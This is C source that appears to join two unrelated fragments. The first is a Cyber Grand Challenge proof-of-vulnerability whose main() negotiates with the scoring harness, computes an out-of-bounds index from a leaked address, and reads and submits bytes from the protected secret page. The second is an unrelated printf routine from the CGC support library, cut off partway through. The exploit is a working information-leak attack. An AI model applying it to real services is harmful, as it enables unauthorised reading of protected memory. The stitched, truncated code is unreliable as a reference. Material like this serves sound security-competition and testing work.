int main(void) { #ifndef DEBUG xlat_seed("9an538n9av3;5"); #endif char buf[1024]; int secrets = 0x4347c010; const char* reg = "charlie" EOT_S; const char* sub_self = "s" EOT_S "charlie" EOT_S; const char* start_blub = "b" EOT_S; const char* read_blubs = "r" EOT_S; length_read(0, (unsigned char*)buf, 0x4); #ifndef TESTING unsigned char data[4]; type2_vals t2; type2_negotiate(&t2); #endif send_string(1, reg); length_read(0, (unsigned char*)buf, 0x4); send_string(1, sub_self); send_string(1, start_blub); send_string(1, "adf"); transmit_all(1, &secrets, sizeof(secrets)); send_string(1, EOT_S); send_string(1, read_blubs); length_read(0, (unsigned char*)buf, 0x30); length_read(0, (unsigned char*)buf, 0x4); #ifndef DEBUG size_t client_0_data = 0xb7e004f8; #else size_t client_0_data = 0xb7e000b8; #endif size_t secret_addr = (*(size_t*)buf) + 44; int diff = secret_addr - client_0_data; diff /= 4; int idx = (2 << 29) - diff; _convert_signed(buf, -idx, 10, 0); char tosend[1024]; strcat(tosend, "y"); strcat(tosend, EOT_S); strcat(tosend, "charlie"); strcat(tosend, EOT_S); strcat(tosend, buf); strcat(tosend, EOT_S); send_string(1, tosend); send_string(1, read_blubs); const char* cgc_exit = "e" EOT_S; send_string(1, cgc_exit); #ifndef TESTING length_read(0, (unsigned char*)buf, 336); length_read(0, data, 4); type2_submit(data, 4); #endif return 0; }
static int cgc__vsfprintf(const char *fmt, va_list ap, FILE *stream, char *buf, cgc_size_t buf_size) { char ch; unsigned int num_size, field_size; cgc_size_t count = 0; char numbuf[64]; cgc_size_t numbuflen; #define OUTPUT_CHAR(_ch) \ do { \ if (count >= buf_size) { \ if (count++ == SIZE_MAX) cgc__terminate(1); \ break; \ } \ char __ch = _ch; \ if (stream) cgc_fwrite(&__ch, 1, stream); \ if (buf) buf[count] = __ch; \ count++; \ } while (0) #define OUTPUT_STRING(str, _sz) \ do { \ cgc_size_t sz = _sz; \ if (count >= buf_size) { \ if ((cgc_size_t)(count + sz) < (count)) cgc__terminate(1); \ count += sz; break; \ } \ cgc_size_t cnt = buf_size - count; \ if (cnt > sz) cnt = sz; \ if (stream) cgc_fwrite(str, cnt, stream); \ if (buf) cgc_memcpy(buf + count, str, cnt); \ if ((cgc_size_t)(count + sz) < (count)) cgc__terminate(1); \ count += sz; \ } while (0) while ((ch = *fmt++)) { char pad_char = ' '; const char *tmp, *strarg; unsigned int uintarg; int intarg; /* output non-format characters */ while (ch != PRINTF_CHAR) { OUTPUT_CHAR(ch); if (!(ch = *fmt++)) goto done; } tmp = fmt; num_size = 4; field_size = 0; /* field flags */ switch ((ch = *fmt++)) { case 0: /* NUL */ goto done; case ' ': pad_char = ' '; break; case '0': pad_char = '0'; break; default: fmt--; break; } /* field width */ if (*fmt >= '0' && *fmt <= '9') field_size = cgc_strtoul(fmt, (char **)&fmt, 10); /* modifiers */ switch ((ch = *fmt++)) { case 0: /* NUL */ goto done; case 'h': if (*fmt == 'h') { fmt++; num_size = 1; } else { num_size = 2; } break; case 'l': if (*fmt == 'l') { fmt++; num_size = 8; /* BUG: long long NOT supported */ } else { num_size = 4; } break; default: fmt--; break; } /* conversion */ switch ((ch = *fmt++)) { case 0: /* NUL */ OUTPUT_STRING(tmp, fmt - tmp); goto done; default: /* unrecognized format character */ OUTPUT_STRING(tmp, fmt - tmp); break; case 'd': case 'u': case 'x': case 'X': if (ch == 'd') { if (num_size <= 4) intarg = va_arg(ap, int); else goto done; _convert_signed(numbuf, intarg, 10, 0); } else { if (num_size <= 4) uintarg = va_arg(ap, unsigned int); else goto done; cgc__convert_unsigned(numbuf, uintarg, ch == 'u' ? 10 : 16, ch == 'X'); }